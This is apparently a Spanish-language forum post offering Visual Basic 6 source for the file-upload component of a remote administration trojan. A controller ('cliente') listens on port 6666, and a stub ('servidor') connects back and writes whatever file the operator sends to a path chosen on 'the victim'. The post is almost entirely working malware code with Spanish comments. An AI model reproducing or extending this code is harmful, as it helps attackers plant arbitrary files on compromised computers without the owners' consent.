ACA VA EL CODE:
CLENTE
Código:
Dim filesize As Long, filedata As String, bytes As Long, directorio As String, socket As Variant
Private Sub Command1_Click()
cd.Filter = "Todos los archivos |*.*" 'pongo el filtro de los exes
cd.ShowOpen 'muestro la ventana para abrir el archivo
Open cd.FileName For Binary As #1 'abro el archivo en modo binario
filedata = Input(LOF(1), 1)'lo guardo
Close #1 'lo cierro
nombre = cd.FileTitle'guardo el nobre del archivo
directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", directorio)'la ruta donde se guardara el archivo en el server
directorio = directorio & nombre'concateno
filesize = Len(filedata) 'calcula el tamaño en bytes'calculo el tamaño del archivo
ws2(socket).SendData "archivo" & "|" & filesize & "|" & directorio & "|" & filedata'mando estos datos
End Sub
Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub
Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function
Private Sub List1_Click()
socket = List1.Text
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub
SERVIDOR
Código:
Dim filesize As Long, filedata As String, bytes As Long, directorio As String
Private Sub Form_Load()
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos 'agarro los datos
If Left(datos, 7) = "archivo" Then 'si los primeros 7 caracteres son "archivo" entonces
dato = Split(datos, "|") 'separo
filesize = dato(1)
directorio = dato(2)
filedata = dato(3)
Open directorio For Binary As #1 'abro un directorio, con la variable directorio
Put #1, 1, filedata'y coloco el archivo
Close #1'lo cierro
End If
End Sub